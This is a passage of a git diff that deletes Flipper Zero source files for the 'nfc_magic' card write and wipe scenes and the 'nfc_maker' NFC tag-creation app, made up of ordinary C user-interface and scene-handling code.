nfc_magic->dev->password = MAGIC_GEN4_DEFAULT_PWD; - scene_manager_set_scene_state( - nfc_magic->scene_manager, NfcMagicSceneStart, SubmenuIndexCheck); - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneCheck); - consumed = true; - } else if(event.event == SubmenuIndexAuthenticateGen4) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneKeyInput); - } - } - - return consumed; -} - -void nfc_magic_scene_start_on_exit(void* context) { - NfcMagic* nfc_magic = context; - submenu_reset(nfc_magic->submenu); -} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_success.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_success.c deleted file mode 100644 index 37441e80e..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_success.c +++ /dev/null @@ -1,42 +0,0 @@ -#include "../nfc_magic_i.h" - -void nfc_magic_scene_success_popup_callback(void* context) { - NfcMagic* nfc_magic = context; - view_dispatcher_send_custom_event(nfc_magic->view_dispatcher, NfcMagicCustomEventViewExit); -} - -void nfc_magic_scene_success_on_enter(void* context) { - NfcMagic* nfc_magic = context; - - notification_message(nfc_magic->notifications, &sequence_success); - - Popup* popup = nfc_magic->popup; - popup_set_icon(popup, 32, 5, &I_DolphinNice_96x59); - popup_set_header(popup, "Success!", 10, 20, AlignLeft, AlignBottom); - popup_set_timeout(popup, 1500); - popup_set_context(popup, nfc_magic); - popup_set_callback(popup, nfc_magic_scene_success_popup_callback); - popup_enable_timeout(popup); - - view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewPopup); -} - -bool nfc_magic_scene_success_on_event(void* context, SceneManagerEvent event) { - NfcMagic* nfc_magic = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == NfcMagicCustomEventViewExit) { - consumed = scene_manager_search_and_switch_to_previous_scene( - nfc_magic->scene_manager, NfcMagicSceneStart); - } - } - return consumed; -} - -void nfc_magic_scene_success_on_exit(void* context) { - NfcMagic* nfc_magic = context; - - // Clear view - popup_reset(nfc_magic->popup); -} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_wipe.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_wipe.c deleted file mode 100644 index 29640f89c..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_wipe.c +++ /dev/null @@ -1,97 +0,0 @@ -#include "../nfc_magic_i.h" - -enum { - NfcMagicSceneWipeStateCardSearch, - NfcMagicSceneWipeStateCardFound, -}; - -bool nfc_magic_wipe_worker_callback(NfcMagicWorkerEvent event, void* context) { - furi_assert(context); - - NfcMagic* nfc_magic = context; - view_dispatcher_send_custom_event(nfc_magic->view_dispatcher, event); - - return true; -} - -static void nfc_magic_scene_wipe_setup_view(NfcMagic* nfc_magic) { - Popup* popup = nfc_magic->popup; - popup_reset(popup); - uint32_t state = scene_manager_get_scene_state(nfc_magic->scene_manager, NfcMagicSceneWipe); - - if(state == NfcMagicSceneWipeStateCardSearch) { - popup_set_icon(nfc_magic->popup, 0, 8, &I_NFC_manual_60x50); - popup_set_text( - nfc_magic->popup, - "Apply the\nsame card\nto the back", - 128, - 32, - AlignRight, - AlignCenter); - } else { - popup_set_icon(popup, 12, 23, &I_Loading_24); - popup_set_header(popup, "Wiping\nDon't move...", 52, 32, AlignLeft, AlignCenter); - } - - view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewPopup); -} - -void nfc_magic_scene_wipe_on_enter(void* context) { - NfcMagic* nfc_magic = context; - - scene_manager_set_scene_state( - nfc_magic->scene_manager, NfcMagicSceneWipe, NfcMagicSceneWipeStateCardSearch); - nfc_magic_scene_wipe_setup_view(nfc_magic); - - // Setup and start worker - nfc_magic_worker_start( - nfc_magic->worker, - NfcMagicWorkerStateWipe, - nfc_magic->dev, - &nfc_magic->source_dev->dev_data, - nfc_magic->new_password, - nfc_magic_wipe_worker_callback, - nfc_magic); - nfc_magic_blink_start(nfc_magic); -} - -bool nfc_magic_scene_wipe_on_event(void* context, SceneManagerEvent event) { - NfcMagic* nfc_magic = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == NfcMagicWorkerEventSuccess) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneSuccess); - consumed = true; - } else if(event.event == NfcMagicWorkerEventFail) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneWipeFail); - consumed = true; - } else if(event.event == NfcMagicWorkerEventWrongCard) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneNotMagic); - consumed = true; - } else if(event.event == NfcMagicWorkerEventCardDetected) { - scene_manager_set_scene_state( - nfc_magic->scene_manager, NfcMagicSceneWipe, NfcMagicSceneWipeStateCardFound); - nfc_magic_scene_wipe_setup_view(nfc_magic); - consumed = true; - } else if(event.event == NfcMagicWorkerEventNoCardDetected) { - scene_manager_set_scene_state( - nfc_magic->scene_manager, NfcMagicSceneWipe, NfcMagicSceneWipeStateCardSearch); - nfc_magic_scene_wipe_setup_view(nfc_magic); - consumed = true; - } - } - return consumed; -} - -void nfc_magic_scene_wipe_on_exit(void* context) { - NfcMagic* nfc_magic = context; - - nfc_magic_worker_stop(nfc_magic->worker); - scene_manager_set_scene_state( - nfc_magic->scene_manager, NfcMagicSceneWipe, NfcMagicSceneWipeStateCardSearch); - // Clear view - popup_reset(nfc_magic->popup); - - nfc_magic_blink_stop(nfc_magic); -} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_wipe_fail.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_wipe_fail.c deleted file mode 100644 index 828b65e6c..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_wipe_fail.c +++ /dev/null @@ -1,41 +0,0 @@ -#include "../nfc_magic_i.h" - -void nfc_magic_scene_wipe_fail_widget_callback(GuiButtonType result, InputType type, void* context) { - NfcMagic* nfc_magic = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(nfc_magic->view_dispatcher, result); - } -} - -void nfc_magic_scene_wipe_fail_on_enter(void* context) { - NfcMagic* nfc_magic = context; - Widget* widget = nfc_magic->widget; - - notification_message(nfc_magic->notifications, &sequence_error); - - widget_add_icon_element(widget, 73, 17, &I_DolphinCommon_56x48); - widget_add_string_element(widget, 3, 4, AlignLeft, AlignTop, FontPrimary, "Wipe failed"); - widget_add_button_element( - widget, GuiButtonTypeLeft, "Retry", nfc_magic_scene_wipe_fail_widget_callback, nfc_magic); - - // Setup and start worker - view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewWidget); -} - -bool nfc_magic_scene_wipe_fail_on_event(void* context, SceneManagerEvent event) { - NfcMagic* nfc_magic = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == GuiButtonTypeLeft) { - consumed = scene_manager_previous_scene(nfc_magic->scene_manager); - } - } - return consumed; -} - -void nfc_magic_scene_wipe_fail_on_exit(void* context) { - NfcMagic* nfc_magic = context; - - widget_reset(nfc_magic->widget); -} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_write.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_write.c deleted file mode 100644 index 45c54557f..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_write.c +++ /dev/null @@ -1,97 +0,0 @@ -#include "../nfc_magic_i.h" - -enum { - NfcMagicSceneWriteStateCardSearch, - NfcMagicSceneWriteStateCardFound, -}; - -bool nfc_magic_write_worker_callback(NfcMagicWorkerEvent event, void* context) { - furi_assert(context); - - NfcMagic* nfc_magic = context; - view_dispatcher_send_custom_event(nfc_magic->view_dispatcher, event); - - return true; -} - -static void nfc_magic_scene_write_setup_view(NfcMagic* nfc_magic) { - Popup* popup = nfc_magic->popup; - popup_reset(popup); - uint32_t state = scene_manager_get_scene_state(nfc_magic->scene_manager, NfcMagicSceneWrite); - - if(state == NfcMagicSceneWriteStateCardSearch) { - popup_set_text( - nfc_magic->popup, - "Apply the\nsame card\nto the back", - 128, - 32, - AlignRight, - AlignCenter); - popup_set_icon(nfc_magic->popup, 0, 8, &I_NFC_manual_60x50); - } else { - popup_set_icon(popup, 12, 23, &I_Loading_24); - popup_set_header(popup, "Writing\nDon't move...", 52, 32, AlignLeft, AlignCenter); - } - - view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewPopup); -} - -void nfc_magic_scene_write_on_enter(void* context) { - NfcMagic* nfc_magic = context; - - scene_manager_set_scene_state( - nfc_magic->scene_manager, NfcMagicSceneWrite, NfcMagicSceneWriteStateCardSearch); - nfc_magic_scene_write_setup_view(nfc_magic); - - // Setup and start worker - nfc_magic_worker_start( - nfc_magic->worker, - NfcMagicWorkerStateWrite, - nfc_magic->dev, - &nfc_magic->source_dev->dev_data, - nfc_magic->new_password, - nfc_magic_write_worker_callback, - nfc_magic); - nfc_magic_blink_start(nfc_magic); -} - -bool nfc_magic_scene_write_on_event(void* context, SceneManagerEvent event) { - NfcMagic* nfc_magic = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == NfcMagicWorkerEventSuccess) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneSuccess); - consumed = true; - } else if(event.event == NfcMagicWorkerEventFail) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneWriteFail); - consumed = true; - } else if(event.event == NfcMagicWorkerEventWrongCard) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneNotMagic); - consumed = true; - } else if(event.event == NfcMagicWorkerEventCardDetected) { - scene_manager_set_scene_state( - nfc_magic->scene_manager, NfcMagicSceneWrite, NfcMagicSceneWriteStateCardFound); - nfc_magic_scene_write_setup_view(nfc_magic); - consumed = true; - } else if(event.event == NfcMagicWorkerEventNoCardDetected) { - scene_manager_set_scene_state( - nfc_magic->scene_manager, NfcMagicSceneWrite, NfcMagicSceneWriteStateCardSearch); - nfc_magic_scene_write_setup_view(nfc_magic); - consumed = true; - } - } - return consumed; -} - -void nfc_magic_scene_write_on_exit(void* context) { - NfcMagic* nfc_magic = context; - - nfc_magic_worker_stop(nfc_magic->worker); - scene_manager_set_scene_state( - nfc_magic->scene_manager, NfcMagicSceneWrite, NfcMagicSceneWriteStateCardSearch); - // Clear view - popup_reset(nfc_magic->popup); - - nfc_magic_blink_stop(nfc_magic); -} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_write_confirm.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_write_confirm.c deleted file mode 100644 index d31c1c194..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_write_confirm.c +++ /dev/null @@ -1,64 +0,0 @@ -#include "../nfc_magic_i.h" - -void nfc_magic_scene_write_confirm_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - NfcMagic* nfc_magic = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(nfc_magic->view_dispatcher, result); - } -} - -void nfc_magic_scene_write_confirm_on_enter(void* context) { - NfcMagic* nfc_magic = context; - Widget* widget = nfc_magic->widget; - - widget_add_string_element(widget, 3, 0, AlignLeft, AlignTop, FontPrimary, "Risky operation"); - widget_add_text_box_element( - widget, - 0, - 13, - 128, - 54, - AlignLeft, - AlignTop, - "Writing to this card will change manufacturer block. On some cards it may not be rewritten", - false); - widget_add_button_element( - widget, - GuiButtonTypeCenter, - "Continue", - nfc_magic_scene_write_confirm_widget_callback, - nfc_magic); - widget_add_button_element( - widget, - GuiButtonTypeLeft, - "Back", - nfc_magic_scene_write_confirm_widget_callback, - nfc_magic); - - // Setup and start worker - view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewWidget); -} - -bool nfc_magic_scene_write_confirm_on_event(void* context, SceneManagerEvent event) { - NfcMagic* nfc_magic = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == GuiButtonTypeLeft) { - consumed = scene_manager_previous_scene(nfc_magic->scene_manager); - } else if(event.event == GuiButtonTypeCenter) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneWrite); - consumed = true; - } - } - return consumed; -} - -void nfc_magic_scene_write_confirm_on_exit(void* context) { - NfcMagic* nfc_magic = context; - - widget_reset(nfc_magic->widget); -} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_write_fail.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_write_fail.c deleted file mode 100644 index 8a465bf61..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_write_fail.c +++ /dev/null @@ -1,58 +0,0 @@ -#include "../nfc_magic_i.h" - -void nfc_magic_scene_write_fail_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - NfcMagic* nfc_magic = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(nfc_magic->view_dispatcher, result); - } -} - -void nfc_magic_scene_write_fail_on_enter(void* context) { - NfcMagic* nfc_magic = context; - Widget* widget = nfc_magic->widget; - - notification_message(nfc_magic->notifications, &sequence_error); - - widget_add_icon_element(widget, 72, 17, &I_DolphinCommon_56x48); - widget_add_string_element( - widget, 7, 4, AlignLeft, AlignTop, FontPrimary, "Writing gone wrong!"); - widget_add_string_multiline_element( - widget, - 7, - 17, - AlignLeft, - AlignTop, - FontSecondary, - "Not all sectors\nwere written\ncorrectly."); - - widget_add_button_element( - widget, GuiButtonTypeLeft, "Finish", nfc_magic_scene_write_fail_widget_callback, nfc_magic); - - // Setup and start worker - view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewWidget); -} - -bool nfc_magic_scene_write_fail_on_event(void* context, SceneManagerEvent event) { - NfcMagic* nfc_magic = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == GuiButtonTypeLeft) { - consumed = scene_manager_search_and_switch_to_previous_scene( - nfc_magic->scene_manager, NfcMagicSceneStart); - } - } else if(event.type == SceneManagerEventTypeBack) { - consumed = scene_manager_search_and_switch_to_previous_scene( - nfc_magic->scene_manager, NfcMagicSceneStart); - } - return consumed; -} - -void nfc_magic_scene_write_fail_on_exit(void* context) { - NfcMagic* nfc_magic = context; - - widget_reset(nfc_magic->widget); -} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_wrong_card.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_wrong_card.c deleted file mode 100644 index 857d50c1f..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_wrong_card.c +++ /dev/null @@ -1,53 +0,0 @@ -#include "../nfc_magic_i.h" - -void nfc_magic_scene_wrong_card_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - NfcMagic* nfc_magic = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(nfc_magic->view_dispatcher, result); - } -} - -void nfc_magic_scene_wrong_card_on_enter(void* context) { - NfcMagic* nfc_magic = context; - Widget* widget = nfc_magic->widget; - - notification_message(nfc_magic->notifications, &sequence_error); - - widget_add_icon_element(widget, 73, 17, &I_DolphinCommon_56x48); - widget_add_string_element( - widget, 1, 4, AlignLeft, AlignTop, FontPrimary, "This is wrong card"); - widget_add_string_multiline_element( - widget, - 1, - 17, - AlignLeft, - AlignTop, - FontSecondary, - "Writing this file is\nnot supported for\nthis magic card."); - widget_add_button_element( - widget, GuiButtonTypeLeft, "Retry", nfc_magic_scene_wrong_card_widget_callback, nfc_magic); - - // Setup and start worker - view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewWidget); -} - -bool nfc_magic_scene_wrong_card_on_event(void* context, SceneManagerEvent event) { - NfcMagic* nfc_magic = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == GuiButtonTypeLeft) { - consumed = scene_manager_previous_scene(nfc_magic->scene_manager); - } - } - return consumed; -} - -void nfc_magic_scene_wrong_card_on_exit(void* context) { - NfcMagic* nfc_magic = context; - - widget_reset(nfc_magic->widget); -} diff --git a/applications/external/nfc_maker/application.fam b/applications/external/nfc_maker/application.fam deleted file mode 100644 index 89bbb202e..000000000 --- a/applications/external/nfc_maker/application.fam +++ /dev/null @@ -1,14 +0,0 @@ -App( - appid="nfc_maker", - name="NFC Maker", - apptype=FlipperAppType.EXTERNAL, - entry_point="nfc_maker", - cdefines=["APP_NFC_MAKER"], - requires=[ - "storage", - "gui", - ], - stack_size=1 * 1024, - fap_icon="nfc_maker_10px.png", - fap_category="NFC", -) diff --git a/applications/external/nfc_maker/nfc_maker.c b/applications/external/nfc_maker/nfc_maker.c deleted file mode 100644 index 6e61f1a16..000000000 --- a/applications/external/nfc_maker/nfc_maker.c +++ /dev/null @@ -1,82 +0,0 @@ -#include "nfc_maker.h" - -static bool nfc_maker_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - NfcMaker* app = context; - return scene_manager_handle_custom_event(app->scene_manager, event); -} - -static bool nfc_maker_back_event_callback(void* context) { - furi_assert(context); - NfcMaker* app = context; - - return scene_manager_handle_back_event(app->scene_manager); -} - -NfcMaker* nfc_maker_alloc() { - NfcMaker* app = malloc(sizeof(NfcMaker)); - app->gui = furi_record_open(RECORD_GUI); - - // View Dispatcher and Scene Manager - app->view_dispatcher = view_dispatcher_alloc(); - app->scene_manager = scene_manager_alloc(&nfc_maker_scene_handlers, app); - view_dispatcher_enable_queue(app->view_dispatcher); - view_dispatcher_set_event_callback_context(app->view_dispatcher, app); - - view_dispatcher_set_custom_event_callback( - app->view_dispatcher, nfc_maker_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - app->view_dispatcher, nfc_maker_back_event_callback); - - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - // Gui Modules - app->submenu = submenu_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, NfcMakerViewSubmenu, submenu_get_view(app->submenu)); - - app->text_input = text_input_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, NfcMakerViewTextInput, text_input_get_view(app->text_input)); - - app->byte_input = byte_input_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, NfcMakerViewByteInput, byte_input_get_view(app->byte_input)); - - app->popup = popup_alloc(); - view_dispatcher_add_view(app->view_dispatcher, NfcMakerViewPopup, popup_get_view(app->popup)); - - return app; -} - -void nfc_maker_free(NfcMaker* app) { - furi_assert(app); - - // Gui modules - view_dispatcher_remove_view(app->view_dispatcher, NfcMakerViewSubmenu); - submenu_free(app->submenu); - view_dispatcher_remove_view(app->view_dispatcher, NfcMakerViewTextInput); - text_input_free(app->text_input); - view_dispatcher_remove_view(app->view_dispatcher, NfcMakerViewByteInput); - byte_input_free(app->byte_input); - view_dispatcher_remove_view(app->view_dispatcher, NfcMakerViewPopup); - popup_free(app->popup); - - // View Dispatcher and Scene Manager - view_dispatcher_free(app->view_dispatcher); - scene_manager_free(app->scene_manager); - - // Records - furi_record_close(RECORD_GUI); - free(app); -} - -extern int32_t nfc_maker(void* p) { - UNUSED(p); - NfcMaker* app = nfc_maker_alloc(); - scene_manager_set_scene_state(app->scene_manager, NfcMakerSceneStart, NfcMakerSceneHttps); - scene_manager_next_scene(app->scene_manager, NfcMakerSceneStart); - view_dispatcher_run(app->view_dispatcher); - nfc_maker_free(app); - return 0; -} diff --git a/applications/external/nfc_maker/nfc_maker.h b/applications/external/nfc_maker/nfc_maker.h deleted file mode 100644 index 11f6c4d17..000000000 --- a/applications/external/nfc_maker/nfc_maker.h +++ /dev/null @@ -1,67 +0,0 @@ -#pragma once - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "scenes/nfc_maker_scene.h" -#include -#include -#include -#include - -#define MAC_INPUT_LEN GAP_MAC_ADDR_SIZE -#define MAIL_INPUT_LEN 128 -#define PHONE_INPUT_LEN 17 - -#define BIG_INPUT_LEN 248 -#define SMALL_INPUT_LEN 90 - -typedef enum { - WifiAuthenticationOpen = 0x01, - WifiAuthenticationWpa2Personal = 0x20, - WifiAuthenticationWpa2Enterprise = 0x10, - WifiAuthenticationWpaPersonal = 0x02, - WifiAuthenticationWpaEnterprise = 0x08, - WifiAuthenticationShared = 0x04, -} WifiAuthentication; - -typedef enum { - WifiEncryptionAes = 0x08, - WifiEncryptionWep = 0x02, - WifiEncryptionTkip = 0x04, - WifiEncryptionNone = 0x01, -} WifiEncryption; - -typedef struct { - Gui* gui; - SceneManager* scene_manager; - ViewDispatcher* view_dispatcher; - Submenu* submenu; - TextInput* text_input; - ByteInput* byte_input; - Popup* popup; - - uint8_t mac_buf[MAC_INPUT_LEN]; - char mail_buf[MAIL_INPUT_LEN]; - char phone_buf[PHONE_INPUT_LEN]; - - char big_buf[BIG_INPUT_LEN]; - char small_buf1[SMALL_INPUT_LEN]; - char small_buf2[SMALL_INPUT_LEN]; - char save_buf[BIG_INPUT_LEN]; -} NfcMaker; - -typedef enum { - NfcMakerViewSubmenu, - NfcMakerViewTextInput, - NfcMakerViewByteInput, - NfcMakerViewPopup, -} NfcMakerView; diff --git a/applications/external/nfc_maker/nfc_maker_10px.png b/applications/external/nfc_maker/nfc_maker_10px.png deleted file mode 100644 index a9e2443f1..000000000 Binary files a/applications/external/nfc_maker/nfc_maker_10px.png and /dev/null differ diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene.c b/applications/external/nfc_maker/scenes/nfc_maker_scene.c deleted file mode 100644 index 3a8b7d502..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "nfc_maker_scene.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, -void (*const nfc_maker_on_enter_handlers[])(void*) = { -#include "nfc_maker_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, -bool (*const nfc_maker_on_event_handlers[])(void* context, SceneManagerEvent event) = { -#include "nfc_maker_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, -void (*const nfc_maker_on_exit_handlers[])(void* context) = { -#include "nfc_maker_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers nfc_maker_scene_handlers = { - .on_enter_handlers = nfc_maker_on_enter_handlers, - .on_event_handlers = nfc_maker_on_event_handlers, - .on_exit_handlers = nfc_maker_on_exit_handlers, - .scene_num = NfcMakerSceneNum, -}; diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene.h b/applications/external/nfc_maker/scenes/nfc_maker_scene.h deleted file mode 100644 index 5ad69f233..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) NfcMakerScene##id, -typedef enum { -#include "nfc_maker_scene_config.h" - NfcMakerSceneNum, -} NfcMakerScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers nfc_maker_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "nfc_maker_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "nfc_maker_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "nfc_maker_scene_config.h" -#undef ADD_SCENE diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene_bluetooth.c b/applications/external/nfc_maker/scenes/nfc_maker_scene_bluetooth.c deleted file mode 100644 index e392ea096..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene_bluetooth.c +++ /dev/null @@ -1,57 +0,0 @@ -#include "../nfc_maker.h" - -enum ByteInputResult { - ByteInputResultOk, -}; - -static void nfc_maker_scene_bluetooth_byte_input_callback(void* context) { - NfcMaker* app = context; - - view_dispatcher_send_custom_event(app->view_dispatcher, ByteInputResultOk); -} - -void nfc_maker_scene_bluetooth_on_enter(void* context) { - NfcMaker* app = context; - ByteInput* byte_input = app->byte_input; - - byte_input_set_header_text(byte_input, "Enter Bluetooth MAC:"); - - for(size_t i = 0; i < MAC_INPUT_LEN; i++) { - app->mac_buf[i] = 0x69; - } - - byte_input_set_result_callback( - byte_input, - nfc_maker_scene_bluetooth_byte_input_callback, - NULL, - app, - app->mac_buf, - MAC_INPUT_LEN); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcMakerViewByteInput); -} - -bool nfc_maker_scene_bluetooth_on_event(void* context, SceneManagerEvent event) { - NfcMaker* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - consumed = true; - switch(event.event) { - case ByteInputResultOk: - furi_hal_bt_reverse_mac_addr(app->mac_buf); - scene_manager_next_scene(app->scene_manager, NfcMakerSceneSave); - break; - default: - break; - } - } - - return consumed; -} - -void nfc_maker_scene_bluetooth_on_exit(void* context) { - NfcMaker* app = context; - byte_input_set_result_callback(app->byte_input, NULL, NULL, NULL, NULL, 0); - byte_input_set_header_text(app->byte_input, ""); -} diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene_config.h b/applications/external/nfc_maker/scenes/nfc_maker_scene_config.h deleted file mode 100644 index 0ef4f021f..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene_config.h +++ /dev/null @@ -1,18 +0,0 @@ -ADD_SCENE(nfc_maker, start, Start) -ADD_SCENE(nfc_maker, bluetooth, Bluetooth) -ADD_SCENE(nfc_maker, contact, Contact) -ADD_SCENE(nfc_maker, contact_last, ContactLast) -ADD_SCENE(nfc_maker, contact_mail, ContactMail) -ADD_SCENE(nfc_maker, contact_phone, ContactPhone) -ADD_SCENE(nfc_maker, contact_url, ContactUrl) -ADD_SCENE(nfc_maker, https, Https) -ADD_SCENE(nfc_maker, mail, Mail) -ADD_SCENE(nfc_maker, phone, Phone) -ADD_SCENE(nfc_maker, text, Text) -ADD_SCENE(nfc_maker, url, Url) -ADD_SCENE(nfc_maker, wifi, Wifi) -ADD_SCENE(nfc_maker, wifi_auth, WifiAuth) -ADD_SCENE(nfc_maker, wifi_encr, WifiEncr) -ADD_SCENE(nfc_maker, wifi_pass, WifiPass) -ADD_SCENE(nfc_maker, save, Save) -ADD_SCENE(nfc_maker, result, Result) diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene_contact.c b/applications/external/nfc_maker/scenes/nfc_maker_scene_contact.c deleted file mode 100644 index ecc054617..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene_contact.c +++ /dev/null @@ -1,53 +0,0 @@ -#include "../nfc_maker.h" - -enum TextInputResult { - TextInputResultOk, -}; - -static void nfc_maker_scene_contact_text_input_callback(void* context) { - NfcMaker* app = context; - - view_dispatcher_send_custom_event(app->view_dispatcher, TextInputResultOk); -} - -void nfc_maker_scene_contact_on_enter(void* context) { - NfcMaker* app = context; - TextInput* text_input = app->text_input; - - text_input_set_header_text(text_input, "Enter First Name:"); - - strlcpy(app->small_buf1, "Ben", SMALL_INPUT_LEN); - - text_input_set_result_callback( - text_input, - nfc_maker_scene_contact_text_input_callback, - app, - app->small_buf1, - SMALL_INPUT_LEN, - true); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcMakerViewTextInput); -} - -bool nfc_maker_scene_contact_on_event(void* context, SceneManagerEvent event) { - NfcMaker* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - consumed = true; - switch(event.event) { - case TextInputResultOk: - scene_manager_next_scene(app->scene_manager, NfcMakerSceneContactLast); - break; - default: - break; - } - } - - return consumed; -} - -void nfc_maker_scene_contact_on_exit(void* context) { - NfcMaker* app = context; - text_input_reset(app->text_input); -} diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene_contact_last.c b/applications/external/nfc_maker/scenes/nfc_maker_scene_contact_last.c deleted file mode 100644 index 78f6ba712..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene_contact_last.c +++ /dev/null @@ -1,55 +0,0 @@ -#include "../nfc_maker.h" - -enum TextInputResult { - TextInputResultOk, -}; - -static void nfc_maker_scene_contact_last_text_input_callback(void* context) { - NfcMaker* app = context; - - view_dispatcher_send_custom_event(app->view_dispatcher, TextInputResultOk); -} - -void nfc_maker_scene_contact_last_on_enter(void* context) { - NfcMaker* app = context; - TextInput* text_input = app->text_input; - - text_input_set_header_text(text_input, "Enter Last Name:"); - - strlcpy(app->small_buf2, "Dover", SMALL_INPUT_LEN); - - text_input_set_result_callback( - text_input, - nfc_maker_scene_contact_last_text_input_callback, - app, - app->small_buf2, - SMALL_INPUT_LEN, - true); - - text_input_set_minimum_length(text_input, 0); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcMakerViewTextInput); -} - -bool nfc_maker_scene_contact_last_on_event(void* context, SceneManagerEvent event) { - NfcMaker* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - consumed = true; - switch(event.event) { - case TextInputResultOk: - scene_manager_next_scene(app->scene_manager, NfcMakerSceneContactMail); - break; - default: - break; - } - } - - return consumed; -} - -void nfc_maker_scene_contact_last_on_exit(void* context) { - NfcMaker* app = context; - text_input_reset(app->text_input); -} diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene_contact_mail.c b/applications/external/nfc_maker/scenes/nfc_maker_scene_contact_mail.c deleted file mode 100644 index 07f9c3cb7..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene_contact_mail.c +++ /dev/null @@ -1,55 +0,0 @@ -#include "../nfc_maker.h" - -enum TextInputResult { - TextInputResultOk, -}; - -static void 